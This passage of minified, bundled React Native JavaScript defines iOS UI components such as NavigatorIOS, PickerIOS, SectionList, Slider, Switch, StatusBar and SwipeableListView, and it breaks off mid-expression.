babelHelpers.inherits(e,t),babelHelpers.createClass(e,[{key:\"requestSchedulingNavigation\",value:function(t){r.requestSchedulingJavaScriptNavigation(p.findNodeHandle(this),t)}},{key:\"render\",value:function(){return c.createElement(I,this.props)}}]),e}(c.Component),y={done:!0,cancel:!0,edit:!0,save:!0,add:!0,compose:!0,reply:!0,action:!0,organize:!0,bookmarks:!0,search:!0,refresh:!0,stop:!0,camera:!0,trash:!0,play:!0,pause:!0,rewind:!0,\"fast-forward\":!0,undo:!0,redo:!0,\"page-curl\":!0},_=T(y),q=g({displayName:\"NavigatorIOS\",propTypes:{initialRoute:u.shape({component:u.func.isRequired,title:u.string.isRequired,titleImage:n.propTypes.source,passProps:u.object,backButtonIcon:n.propTypes.source,backButtonTitle:u.string,leftButtonIcon:n.propTypes.source,leftButtonTitle:u.string,leftButtonSystemIcon:u.oneOf(Object.keys(_)),onLeftButtonPress:u.func,rightButtonIcon:n.propTypes.source,rightButtonTitle:u.string,rightButtonSystemIcon:u.oneOf(Object.keys(_)),onRightButtonPress:u.func,wrapperStyle:v.style,navigationBarHidden:u.bool,shadowHidden:u.bool,tintColor:u.string,barTintColor:u.string,barStyle:u.oneOf([\"default\",\"black\"]),titleTextColor:u.string,translucent:u.bool}).isRequired,navigationBarHidden:u.bool,shadowHidden:u.bool,itemWrapperStyle:v.style,tintColor:u.string,barTintColor:u.string,barStyle:u.oneOf([\"default\",\"black\"]),titleTextColor:u.string,translucent:u.bool,interactivePopGestureEnabled:u.bool},navigator:void 0,componentWillMount:function(){this.navigator={push:this.push,pop:this.pop,popN:this.popN,replace:this.replace,replaceAtIndex:this.replaceAtIndex,replacePrevious:this.replacePrevious,replacePreviousAndPop:this.replacePreviousAndPop,resetTo:this.resetTo,popToRoute:this.popToRoute,popToTop:this.popToTop}},componentDidMount:function(){this._enableTVEventHandler()},componentWillUnmount:function(){this._disableTVEventHandler()},getDefaultProps:function(){return{translucent:!0}},getInitialState:function(){return{idStack:[s()],routeStack:[this.props.initialRoute],requestedTopOfStack:0,observedTopOfStack:0,progress:1,fromIndex:0,toIndex:0,makingNavigatorRequest:!1,updatingAllIndicesAtOrBeyond:0}},_toFocusOnNavigationComplete:void 0,_handleFocusRequest:function(t){this.state.makingNavigatorRequest?this._toFocusOnNavigationComplete=t:this._getFocusEmitter().emit(\"focus\",t)},_focusEmitter:void 0,_getFocusEmitter:function(){var t=this._focusEmitter;return t||(t=new i,this._focusEmitter=t),t},getChildContext:function(){return{onFocusRequested:this._handleFocusRequest,focusEmitter:this._getFocusEmitter()}},childContextTypes:{onFocusRequested:u.func,focusEmitter:u.instanceOf(i)},_tryLockNavigator:function(t){this.refs[b].requestSchedulingNavigation(function(e){return e&&t()})},_handleNavigatorStackChanged:function(t){var e=t.nativeEvent.stackLength-1;k(e<=this.state.requestedTopOfStack,\"No navigator item should be pushed without JS knowing about it %s %s\",e,this.state.requestedTopOfStack);var o=this.state.requestedTopOfStack!==this.state.observedTopOfStack;o&&k(e===this.state.requestedTopOfStack,\"If waiting for observedTopOfStack to reach requestedTopOfStack, the only valid observedTopOfStack should be requestedTopOfStack.\");var a={observedTopOfStack:e,makingNavigatorRequest:!1,updatingAllIndicesAtOrBeyond:null,progress:1,toIndex:e,fromIndex:e};this.setState(a,this._eliminateUnneededChildren)},_eliminateUnneededChildren:function(){var t=this.state.routeStack.length>this.state.observedTopOfStack+1?this.state.observedTopOfStack+1:null;this.setState({idStack:this.state.idStack.slice(0,this.state.observedTopOfStack+1),routeStack:this.state.routeStack.slice(0,this.state.observedTopOfStack+1),requestedTopOfStack:this.state.observedTopOfStack,makingNavigatorRequest:!0,updatingAllIndicesAtOrBeyond:t})},push:function(t){var e=this;k(!!t,\"Must supply route to push\"),this.state.requestedTopOfStack===this.state.observedTopOfStack&&this._tryLockNavigator(function(){var o=e.state.routeStack.concat([t]),a=e.state.idStack.concat([s()]);e.setState({idStack:a,routeStack:o,requestedTopOfStack:o.length-1,makingNavigatorRequest:!0,updatingAllIndicesAtOrBeyond:o.length-1})})},popN:function(t){var e=this;0!==t&&this.state.requestedTopOfStack===this.state.observedTopOfStack&&this.state.requestedTopOfStack>0&&this._tryLockNavigator(function(){var o=e.state.requestedTopOfStack-t;k(o>=0,\"Cannot pop below 0\"),e.setState({requestedTopOfStack:o,makingNavigatorRequest:!0,updatingAllIndicesAtOrBeyond:e.state.requestedTopOfStack-t})})},pop:function(){this.popN(1)},replaceAtIndex:function(t,e){if(k(!!t,\"Must supply route to replace\"),e<0&&(e+=this.state.routeStack.length),!(this.state.routeStack.length<=e)){var o=this.state.idStack.slice(),a=this.state.routeStack.slice();o[e]=s(),a[e]=t,this.setState({idStack:o,routeStack:a,makingNavigatorRequest:!1,updatingAllIndicesAtOrBeyond:e})}},replace:function(t){this.replaceAtIndex(t,-1)},replacePrevious:function(t){this.replaceAtIndex(t,-2)},popToTop:function(){this.popToRoute(this.state.routeStack[0])},popToRoute:function(t){var e=this.state.routeStack.indexOf(t);k(e!==-1,\"Calling pop to route for a route that doesn't exist!\");var o=this.state.routeStack.length-e-1;this.popN(o)},replacePreviousAndPop:function(t){var e=this;this.state.requestedTopOfStack===this.state.observedTopOfStack&&(this.state.routeStack.length<2||this._tryLockNavigator(function(){e.replacePrevious(t),e.setState({requestedTopOfStack:e.state.requestedTopOfStack-1,makingNavigatorRequest:!0})}))},resetTo:function(t){k(!!t,\"Must supply route to push\"),this.state.requestedTopOfStack===this.state.observedTopOfStack&&(this.replaceAtIndex(t,0),this.popToRoute(t))},_handleNavigationComplete:function(t){t.stopPropagation(),this._toFocusOnNavigationComplete&&(this._getFocusEmitter().emit(\"focus\",this._toFocusOnNavigationComplete),this._toFocusOnNavigationComplete=null),this._handleNavigatorStackChanged(t)},_routeToStackItem:function(t,e){var o=t.component,a=t.wrapperStyle,s=t.passProps,i=babelHelpers.objectWithoutProperties(t,[\"component\",\"wrapperStyle\",\"passProps\"]),n=this.props,r=n.itemWrapperStyle,u=babelHelpers.objectWithoutProperties(n,[\"itemWrapperStyle\"]),p=null!=this.state.updatingAllIndicesAtOrBeyond&&this.state.updatingAllIndicesAtOrBeyond>=e,d=o;return c.createElement(l,{key:\"nav\"+e,shouldUpdate:p},c.createElement(C,babelHelpers.extends({},u,i,{style:[N.stackItem,r,a]}),c.createElement(d,babelHelpers.extends({navigator:this.navigator,route:i},s))))},_renderNavigationStackItems:function(){var t=this.state.makingNavigatorRequest||null!==this.state.updatingAllIndicesAtOrBeyond,e=t?this.state.routeStack.map(this._routeToStackItem):null;return c.createElement(l,{shouldUpdate:t},c.createElement(O,{ref:b,style:N.transitioner,vertical:this.props.vertical,requestedTopOfStack:this.state.requestedTopOfStack,onNavigationComplete:this._handleNavigationComplete,interactivePopGestureEnabled:this.props.interactivePopGestureEnabled},e))},_tvEventHandler:void 0,_enableTVEventHandler:function(){this._tvEventHandler=new h,this._tvEventHandler.enable(this,function(t,e){e&&\"menu\"===e.eventType&&t.pop()})},_disableTVEventHandler:function(){this._tvEventHandler&&(this._tvEventHandler.disable(),delete this._tvEventHandler)},render:function(){return c.createElement(f,{style:this.props.style},this._renderNavigationStackItems())}}),N=d.create({stackItem:{backgroundColor:\"white\",overflow:\"hidden\",position:\"absolute\",top:0,left:0,right:0,bottom:0},transitioner:{flex:1}}),I=S(\"RCTNavigator\"),C=S(\"RCTNavItem\");o.exports=q},245);\n__d(function(e,t,r,n){\"use strict\";var l=t(114),s=function(e){function t(){return babelHelpers.classCallCheck(this,t),babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"shouldComponentUpdate\",value:function(e){return!!e.shouldUpdate}},{key:\"render\",value:function(){var e=this.props.children;return null===e||e===!1?null:l.Children.only(e)}}]),t}(l.Component);r.exports=s},246);\n__d(function(e,t,r,l){\"use strict\";var s=t(41),n=t(248),o=(t(249),t(23),t(114)),p=t(111),a=t(138),i=t(123),b=(t(143),t(130)),u=t(124),c=a(i),d=a(babelHelpers.extends({},u,{color:s})),h=\"dialog\",f=\"dropdown\",y=function(e){function t(){return babelHelpers.classCallCheck(this,t),babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){throw null}}]),t}(o.Component);y.propTypes={label:p.string.isRequired,value:p.any,color:s,testID:p.string};var _=function(e){function t(){return babelHelpers.classCallCheck(this,t),babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){return o.createElement(n,this.props,this.props.children)}}]),t}(o.Component);_.MODE_DIALOG=h,_.MODE_DROPDOWN=f,_.Item=y,_.defaultProps={mode:h},_.propTypes=babelHelpers.extends({},b,{style:d,selectedValue:p.any,onValueChange:p.func,enabled:p.bool,mode:p.oneOf([\"dialog\",\"dropdown\"]),itemStyle:c,prompt:p.string,testID:p.string}),r.exports=_},247);\n__d(function(e,t,n,s){\"use strict\";var r,i,o=t(43),a=t(114),l=t(111),p=t(144),c=t(138),u=t(123),h=t(110),d=t(130),v=t(125),f=t(140),m=c(u),y=t(142),C=f({displayName:\"PickerIOS\",mixins:[o],propTypes:babelHelpers.extends({},d,{itemStyle:m,onValueChange:l.func,selectedValue:l.any}),getInitialState:function(){return this._stateFromProps(this.props)},componentWillReceiveProps:function(e){this.setState(this._stateFromProps(e))},_stateFromProps:function(e){var t=0,n=[];return a.Children.toArray(e.children).forEach(function(s,r){s.props.value===e.selectedValue&&(t=r),n.push({value:s.props.value,label:s.props.label,textColor:v(s.props.color)})}),{selectedIndex:t,items:n}},render:function(){var e=this;return a.createElement(h,{style:this.props.style},a.createElement(g,{ref:function(t){return e._picker=t},style:[b.pickerIOS,this.props.itemStyle],items:this.state.items,selectedIndex:this.state.selectedIndex,onChange:this._onChange,onStartShouldSetResponder:function(){return!0},onResponderTerminationRequest:function(){return!1}}))},_onChange:function(e){this.props.onChange&&this.props.onChange(e),this.props.onValueChange&&this.props.onValueChange(e.nativeEvent.newValue,e.nativeEvent.newIndex),this._picker&&this.state.selectedIndex!==e.nativeEvent.newIndex&&this._picker.setNativeProps({selectedIndex:this.state.selectedIndex})}});C.Item=(i=r=function(e){function t(){return babelHelpers.classCallCheck(this,t),babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){return null}}]),t}(a.Component),r.propTypes={value:l.any,label:l.string,color:l.string},i);var b=p.create({pickerIOS:{height:216}}),g=y(\"RCTPicker\",{propTypes:{style:m}},{nativeOnly:{items:!0,onChange:!0,selectedIndex:!0}});n.exports=C},248);\n__d(function(t,s,c,e){\"use strict\";c.exports=s(143)},249);\n__d(function(t,s,c,e){\"use strict\";c.exports=s(143)},250);\n__d(function(e,r,s,t){\"use strict\";var o=r(203),p=r(43),i=r(114),n=r(111),a=r(144),g=r(130),l=r(140),c=r(142),u=l({displayName:\"ProgressViewIOS\",mixins:[p],propTypes:babelHelpers.extends({},g,{progressViewStyle:n.oneOf([\"default\",\"bar\"]),progress:n.number,progressTintColor:n.string,trackTintColor:n.string,progressImage:o.propTypes.source,trackImage:o.propTypes.source}),render:function(){return i.createElement(b,babelHelpers.extends({},this.props,{style:[y.progressView,this.props.style]}))}}),y=a.create({progressView:{height:2}}),b=c(\"RCTProgressView\",u);s.exports=u},251);\n__d(function(e,t,r,s){\"use strict\";var a=t(223),i=(t(23),t(114)),o=t(253),l=babelHelpers.extends({},o.defaultProps,{stickySectionHeadersEnabled:!0}),n=function(e){function t(){var e,r,s,a;babelHelpers.classCallCheck(this,t);for(var i=arguments.length,o=Array(i),l=0;l<i;l++)o[l]=arguments[l];return r=s=babelHelpers.possibleConstructorReturn(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(o))),s._captureRef=function(e){s._wrapperListRef=e},a=r,babelHelpers.possibleConstructorReturn(s,a)}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"scrollToLocation\",value:function(e){this._wrapperListRef.scrollToLocation(e)}},{key:\"recordInteraction\",value:function(){var e=this._wrapperListRef&&this._wrapperListRef.getListRef();e&&e.recordInteraction()}},{key:\"flashScrollIndicators\",value:function(){var e=this._wrapperListRef&&this._wrapperListRef.getListRef();e&&e.flashScrollIndicators()}},{key:\"getScrollResponder\",value:function(){var e=this._wrapperListRef&&this._wrapperListRef.getListRef();if(e)return e.getScrollResponder()}},{key:\"getScrollableNode\",value:function(){var e=this._wrapperListRef&&this._wrapperListRef.getListRef();if(e)return e.getScrollableNode()}},{key:\"setNativeProps\",value:function(e){var t=this._wrapperListRef&&this._wrapperListRef.getListRef();t&&t.setNativeProps(e)}},{key:\"render\",value:function(){var e=this.props.legacyImplementation?a:o;return i.createElement(e,babelHelpers.extends({},this.props,{ref:this._captureRef}))}}]),t}(i.PureComponent);n.defaultProps=l,r.exports=n},252);\n__d(function(e,t,r,n){\"use strict\";function a(e,t){if(!e)return null;for(var r=t-1,n=0;n<e.length;n++){if(r===-1||r===e[n].data.length)return e[n];if(r<e[n].data.length)return e[n].data[r];r-=e[n].data.length+2}return null}var i=t(114),o=t(110),s=t(230),l=t(13),p=function(e){function t(e,r){babelHelpers.classCallCheck(this,t);var n=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,r));return n._keyExtractor=function(e,t){var r=n._subExtractor(t);return r&&r.key||String(t)},n._convertViewable=function(e){l(null!=e.index,\"Received a broken ViewToken\");var t=n._subExtractor(e.index);if(!t)return null;var r=t.section.keyExtractor||n.props.keyExtractor;return babelHelpers.extends({},e,{index:t.index,key:r(e.item,t.index),section:t.section})},n._onViewableItemsChanged=function(e){var t=e.viewableItems,r=e.changed;n.props.onViewableItemsChanged&&n.props.onViewableItemsChanged({viewableItems:t.map(n._convertViewable,n).filter(Boolean),changed:r.map(n._convertViewable,n).filter(Boolean)})},n._renderItem=function(e){var t=e.item,r=e.index,a=n._subExtractor(r);if(!a)return null;var o=a.index;if(null==o){var s=a.section;if(a.header===!0){var p=n.props.renderSectionHeader;return p?p({section:s}):null}var d=n.props.renderSectionFooter;return d?d({section:s}):null}var u=a.section.renderItem||n.props.renderItem,g=n._getSeparatorComponent(r,a);return l(u,\"no renderItem!\"),i.createElement(c,{SeparatorComponent:g,LeadingSeparatorComponent:0===o?n.props.SectionSeparatorComponent:void 0,cellKey:a.key,index:o,item:t,leadingItem:a.leadingItem,leadingSection:a.leadingSection,onUpdateSeparator:n._onUpdateSeparator,prevCellKey:(n._subExtractor(r-1)||{}).key,ref:function(e){n._cellRefs[a.key]=e},renderItem:u,section:a.section,trailingItem:a.trailingItem,trailingSection:a.trailingSection})},n._onUpdateSeparator=function(e,t){var r=n._cellRefs[e];r&&r.updateSeparatorProps(t)},n._cellRefs={},n._captureRef=function(e){n._listRef=e},n.state=n._computeState(e),n}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"scrollToLocation\",value:function(e){for(var t=e.itemIndex+1,r=0;r<e.sectionIndex;r++)t+=this.props.sections[r].data.length+2;var n=babelHelpers.extends({},e,{index:t});this._listRef.scrollToIndex(n)}},{key:\"getListRef\",value:function(){return this._listRef}},{key:\"_subExtractor\",value:function(e){for(var t=e,r=this.props.keyExtractor,n=0;n<this.props.sections.length;n++){var a=this.props.sections[n],i=a.key||String(n);if(t-=1,!(t>=a.data.length+1)){if(t===-1)return{section:a,key:i+\":header\",index:null,header:!0,trailingSection:this.props.sections[n+1]};if(t===a.data.length)return{section:a,key:i+\":footer\",index:null,header:!1,trailingSection:this.props.sections[n+1]};var o=a.keyExtractor||r;return{section:a,key:i+\":\"+o(a.data[t],t),index:t,leadingItem:a.data[t-1],leadingSection:this.props.sections[n-1],trailingItem:a.data[t+1],trailingSection:this.props.sections[n+1]}}t-=a.data.length+1}}},{key:\"_getSeparatorComponent\",value:function(e,t){if(t=t||this._subExtractor(e),!t)return null;var r=t.section.ItemSeparatorComponent||this.props.ItemSeparatorComponent,n=this.props.SectionSeparatorComponent,a=e===this.state.childProps.getItemCount()-1,i=t.index===t.section.data.length-1;return n&&i?n:!r||i||a?null:r}},{key:\"_computeState\",value:function(e){var t=e.ListHeaderComponent?1:0,r=[],n=e.sections.reduce(function(e,n){return r.push(e+t),e+n.data.length+2},0);return{childProps:babelHelpers.extends({},e,{renderItem:this._renderItem,ItemSeparatorComponent:void 0,data:e.sections,getItemCount:function(){return n},getItem:a,keyExtractor:this._keyExtractor,onViewableItemsChanged:e.onViewableItemsChanged?this._onViewableItemsChanged:void 0,stickyHeaderIndices:e.stickySectionHeadersEnabled?r:void 0})}}}]),babelHelpers.createClass(t,[{key:\"componentWillReceiveProps\",value:function(e){this.setState(this._computeState(e))}},{key:\"render\",value:function(){return i.createElement(s,babelHelpers.extends({},this.state.childProps,{ref:this._captureRef}))}}]),t}(i.PureComponent);p.defaultProps=babelHelpers.extends({},s.defaultProps,{data:[]});var c=function(e){function t(){var e,r,n,a;babelHelpers.classCallCheck(this,t);for(var i=arguments.length,o=Array(i),s=0;s<i;s++)o[s]=arguments[s];return r=n=babelHelpers.possibleConstructorReturn(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(o))),n.state={separatorProps:{highlighted:!1,leadingItem:n.props.item,leadingSection:n.props.leadingSection,section:n.props.section,trailingItem:n.props.trailingItem,trailingSection:n.props.trailingSection},leadingSeparatorProps:{highlighted:!1,leadingItem:n.props.leadingItem,leadingSection:n.props.leadingSection,section:n.props.section,trailingItem:n.props.item,trailingSection:n.props.trailingSection}},n._separators={highlight:function(){[\"leading\",\"trailing\"].forEach(function(e){return n._separators.updateProps(e,{highlighted:!0})})},unhighlight:function(){[\"leading\",\"trailing\"].forEach(function(e){return n._separators.updateProps(e,{highlighted:!1})})},updateProps:function(e,t){var r=n.props,a=r.LeadingSeparatorComponent,i=r.cellKey,o=r.prevCellKey;\"leading\"===e&&a?n.setState(function(e){return{leadingSeparatorProps:babelHelpers.extends({},e.leadingSeparatorProps,t)}}):n.props.onUpdateSeparator(\"leading\"===e&&o||i,t)}},a=r,babelHelpers.possibleConstructorReturn(n,a)}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"componentWillReceiveProps\",value:function(e){var t=this;this.setState(function(r){return{separatorProps:babelHelpers.extends({},t.state.separatorProps,{leadingItem:e.item,leadingSection:e.leadingSection,section:e.section,trailingItem:e.trailingItem,trailingSection:e.trailingSection}),leadingSeparatorProps:babelHelpers.extends({},t.state.leadingSeparatorProps,{leadingItem:e.leadingItem,leadingSection:e.leadingSection,section:e.section,trailingItem:e.item,trailingSection:e.trailingSection})}})}},{key:\"updateSeparatorProps\",value:function(e){this.setState(function(t){return{separatorProps:babelHelpers.extends({},t.separatorProps,e)}})}},{key:\"render\",value:function(){var e=this.props,t=e.LeadingSeparatorComponent,r=e.SeparatorComponent,n=e.item,a=e.index,s=e.section,l=this.props.renderItem({item:n,index:a,section:s,separators:this._separators}),p=t&&i.createElement(t,this.state.leadingSeparatorProps),c=r&&i.createElement(r,this.state.separatorProps);return p||c?i.createElement(o,null,p,l,c):l}}]),t}(i.Component);r.exports=p},253);\n__d(function(e,n,t,o){\"use strict\";var r=n(43),s=n(114),a=n(111),l=n(144),i=n(130),p=n(140),g=n(142),h=\"segmentedcontrol\",u=p({displayName:\"SegmentedControlIOS\",mixins:[r],propTypes:babelHelpers.extends({},i,{values:a.arrayOf(a.string),selectedIndex:a.number,onValueChange:a.func,onChange:a.func,enabled:a.bool,tintColor:a.string,momentary:a.bool}),getDefaultProps:function(){return{values:[],enabled:!0}},_onChange:function(e){this.props.onChange&&this.props.onChange(e),this.props.onValueChange&&this.props.onValueChange(e.nativeEvent.value)},render:function(){return s.createElement(d,babelHelpers.extends({},this.props,{ref:h,style:[C.segmentedControl,this.props.style],onChange:this._onChange}))}}),C=l.create({segmentedControl:{height:28}}),d=g(\"RCTSegmentedControl\",u);t.exports=u},254);\n__d(function(e,n,t,i){\"use strict\";var r=n(203),a=n(41),l=n(43),o=n(129),u=(n(23),n(114)),s=n(111),m=n(144),p=n(130),d=n(140),c=n(142),b=d({displayName:\"Slider\",mixins:[l],propTypes:babelHelpers.extends({},p,{style:p.style,value:s.number,step:s.number,minimumValue:s.number,maximumValue:s.number,minimumTrackTintColor:a,maximumTrackTintColor:a,disabled:s.bool,trackImage:r.propTypes.source,minimumTrackImage:r.propTypes.source,maximumTrackImage:r.propTypes.source,thumbImage:r.propTypes.source,thumbTintColor:a,onValueChange:s.func,onSlidingComplete:s.func,testID:s.string}),getDefaultProps:function(){return{disabled:!1,value:0,minimumValue:0,maximumValue:1,step:0}},viewConfig:{uiViewClassName:\"RCTSlider\",validAttributes:babelHelpers.extends({},o.RCTView,{value:!0})},render:function(){var e=this.props,n=e.style,t=e.onValueChange,i=e.onSlidingComplete,r=babelHelpers.objectWithoutProperties(e,[\"style\",\"onValueChange\",\"onSlidingComplete\"]);return r.style=[g.slider,n],r.onValueChange=t&&function(e){var n=!0;t&&n&&t(e.nativeEvent.value)},r.onChange=r.onValueChange,r.onSlidingComplete=i&&function(e){i&&i(e.nativeEvent.value)},u.createElement(v,babelHelpers.extends({},r,{enabled:!this.props.disabled,onStartShouldSetResponder:function(){return!0},onResponderTerminationRequest:function(){return!1}}))}}),g=void 0;g=m.create({slider:{height:40}});var C={},v=c(\"RCTSlider\",b,C);t.exports=b},255);\n__d(function(e,t,s,r){\"use strict\";var n=t(114),o=t(111),a=t(144),p=t(15),l=p.TestModule,i=t(63),c=t(110),h=t(130),u=t(142),b=function(e){function t(){var e,s,r,n;babelHelpers.classCallCheck(this,t);for(var o=arguments.length,a=Array(o),p=0;p<o;p++)a[p]=arguments[p];return s=r=babelHelpers.possibleConstructorReturn(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(a))),r.onDefaultAction=function(e){l.verifySnapshot(l.markTestPassed)},n=s,babelHelpers.possibleConstructorReturn(r,n)}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var e=this.props.testIdentifier||\"test\",t=this.props.onSnapshotReady||this.onDefaultAction;return n.createElement(d,babelHelpers.extends({style:f.snapshot},this.props,{onSnapshotReady:t,testIdentifier:e}))}}]),t}(n.Component);b.propTypes=babelHelpers.extends({},h,{onSnapshotReady:o.func,testIdentifier:o.string});var f=a.create({snapshot:{flex:1}}),d=i.RCTSnapshot?u(\"RCTSnapshot\",b):c;s.exports=b},256);\n__d(function(e,t,n,o){\"use strict\";var r=t(41),i=t(43),s=(t(23),t(114)),a=t(111),h=t(144),l=t(130),p=t(140),u=t(142),c=p({displayName:\"Switch\",propTypes:babelHelpers.extends({},l,{value:a.bool,disabled:a.bool,onValueChange:a.func,testID:a.string,tintColor:r,onTintColor:r,thumbTintColor:r}),getDefaultProps:function(){return{value:!1,disabled:!1}},mixins:[i],_rctSwitch:{},_onChange:function(e){this._rctSwitch.setNativeProps({value:this.props.value}),this.props.onChange&&this.props.onChange(e),this.props.onValueChange&&this.props.onValueChange(e.nativeEvent.value)},render:function(){var e=this,t=babelHelpers.extends({},this.props);return t.onStartShouldSetResponder=function(){return!0},t.onResponderTerminationRequest=function(){return!1},t.style=[d.rctSwitchIOS,this.props.style],s.createElement(C,babelHelpers.extends({},t,{ref:function(t){e._rctSwitch=t},onChange:this._onChange}))}}),d=h.create({rctSwitchIOS:{height:31,width:51}}),C=u(\"RCTSwitch\",c,{nativeOnly:{onChange:!0}});n.exports=c},257);\n__d(function(t,e,n,a){\"use strict\";function i(t,e){return t.reduce(function(t,e){for(var n in e)null!=e[n]&&(t[n]=e[n]);return t},babelHelpers.extends({},e))}function r(t){return{backgroundColor:null!=t.backgroundColor?{value:t.backgroundColor,animated:t.animated}:null,barStyle:null!=t.barStyle?{value:t.barStyle,animated:t.animated}:null,translucent:t.translucent,hidden:null!=t.hidden?{value:t.hidden,animated:t.animated,transition:t.showHideTransition}:null,networkActivityIndicatorVisible:t.networkActivityIndicatorVisible}}var o=e(114),l=e(111),s=e(41),d=(e(23),e(125),e(15).StatusBarManager),u=function(t){function e(){var t,n,a,r;babelHelpers.classCallCheck(this,e);for(var o=arguments.length,l=Array(o),s=0;s<o;s++)l[s]=arguments[s];return n=a=babelHelpers.possibleConstructorReturn(this,(t=e.__proto__||Object.getPrototypeOf(e)).call.apply(t,[this].concat(l))),a._stackEntry=null,a._updatePropsStack=function(){clearImmediate(e._updateImmediate),e._updateImmediate=setImmediate(function(){var t=e._currentValues,n=i(e._propsStack,e._defaultProps);t&&t.barStyle.value===n.barStyle.value||d.setStyle(n.barStyle.value,n.barStyle.animated),t&&t.hidden.value===n.hidden.value||d.setHidden(n.hidden.value,n.hidden.animated?n.hidden.transition:\"none\"),t&&t.networkActivityIndicatorVisible===n.networkActivityIndicatorVisible||d.setNetworkActivityIndicatorVisible(n.networkActivityIndicatorVisible),e._currentValues=n})},r=n,babelHelpers.possibleConstructorReturn(a,r)}return babelHelpers.inherits(e,t),babelHelpers.createClass(e,[{key:\"componentDidMount\",value:function(){this._stackEntry=r(this.props),e._propsStack.push(this._stackEntry),this._updatePropsStack()}},{key:\"componentWillUnmount\",value:function(){var t=e._propsStack.indexOf(this._stackEntry);e._propsStack.splice(t,1),this._updatePropsStack()}},{key:\"componentDidUpdate\",value:function(){var t=e._propsStack.indexOf(this._stackEntry);this._stackEntry=r(this.props),e._propsStack[t]=this._stackEntry,this._updatePropsStack()}},{key:\"render\",value:function(){return null}}],[{key:\"setHidden\",value:function(t,n){n=n||\"none\",e._defaultProps.hidden.value=t,d.setHidden(t,n)}},{key:\"setBarStyle\",value:function(t,n){n=n||!1,e._defaultProps.barStyle.value=t,d.setStyle(t,n)}},{key:\"setNetworkActivityIndicatorVisible\",value:function(t){e._defaultProps.networkActivityIndicatorVisible=t,d.setNetworkActivityIndicatorVisible(t)}},{key:\"setBackgroundColor\",value:function(t,e){return void console.warn(\"`setBackgroundColor` is only available on Android\")}},{key:\"setTranslucent\",value:function(t){return void console.warn(\"`setTranslucent` is only available on Android\")}}]),e}(o.Component);u._propsStack=[],u._defaultProps=r({animated:!1,showHideTransition:\"fade\",backgroundColor:\"black\",barStyle:\"default\",translucent:!1,hidden:!1,networkActivityIndicatorVisible:!1}),u._updateImmediate=null,u._currentValues=null,u.currentHeight=d.HEIGHT,u.propTypes={hidden:l.bool,animated:l.bool,backgroundColor:s,translucent:l.bool,barStyle:l.oneOf([\"default\",\"light-content\",\"dark-content\"]),networkActivityIndicatorVisible:l.bool,showHideTransition:l.oneOf([\"fade\",\"slide\"])},u.defaultProps={animated:!1,showHideTransition:\"fade\"},n.exports=u},258);\n__d(function(e,t,n,o){\"use strict\";var r=t(224),s=t(111),i=t(114),u=t(260),a=t(261),c=function(e){function t(e,n){babelHelpers.classCallCheck(this,t);var o=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,n));return o._listViewRef=null,o._shouldBounceFirstRowOnMount=!1,o._onScroll=function(e){o.props.dataSource.getOpenRowID()&&o.setState({dataSource:o.state.dataSource.setOpenRowID(null)}),o.props.onScroll&&o.props.onScroll(e)},o._renderRow=function(e,t,n){var r=o.props.renderQuickActions(e,t,n);if(!r)return o.props.renderRow(e,t,n);var s=!1;return o._shouldBounceFirstRowOnMount&&(o._shouldBounceFirstRowOnMount=!1,s=n===o.props.dataSource.getFirstRowID()),i.createElement(a,{slideoutView:r,isOpen:e.id===o.props.dataSource.getOpenRowID(),maxSwipeDistance:o._getMaxSwipeDistance(e,t,n),key:n,onOpen:function(){return o._onOpen(e.id)},onClose:function(){return o._onClose(e.id)},onSwipeEnd:function(){return o._setListViewScrollable(!0)},onSwipeStart:function(){return o._setListViewScrollable(!1)},shouldBounceOnMount:s},o.props.renderRow(e,t,n))},o._shouldBounceFirstRowOnMount=o.props.bounceFirstRowOnMount,o.state={dataSource:o.props.dataSource},o}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,null,[{key:\"getNewDataSource\",value:function(){return new u({getRowData:function(e,t,n){return e[t][n]},getSectionHeaderData:function(e,t){return e[t]},rowHasChanged:function(e,t){return e!==t},sectionHeaderHasChanged:function(e,t){return e!==t}})}}]),babelHelpers.createClass(t,[{key:\"componentWillReceiveProps\",value:function(e){this.state.dataSource.getDataSource()!==e.dataSource.getDataSource()&&this.setState({dataSource:e.dataSource})}},{key:\"render\",value:function(){var e=this;return i.createElement(r,babelHelpers.extends({},this.props,{ref:function(t){e._listViewRef=t},dataSource:this.state.dataSource.getDataSource(),onScroll:this._onScroll,renderRow:this._renderRow}))}},{key:\"_setListViewScrollable\",value:function(e){this._listViewRef&&\"function\"==typeof this._listViewRef.setNativeProps&&this._listViewRef.setNativeProps({scrollEnabled:e})}},{key:\"getScrollResponder\",value:function(){if(this._listViewRef&&\"function\"==typeof this._listViewRef.getScrollResponder)return this._listViewRef.getScrollResponder()}},{key:\"_getMaxSwipeDistance\",value:function(e,t,n){return\"function\"==typeof 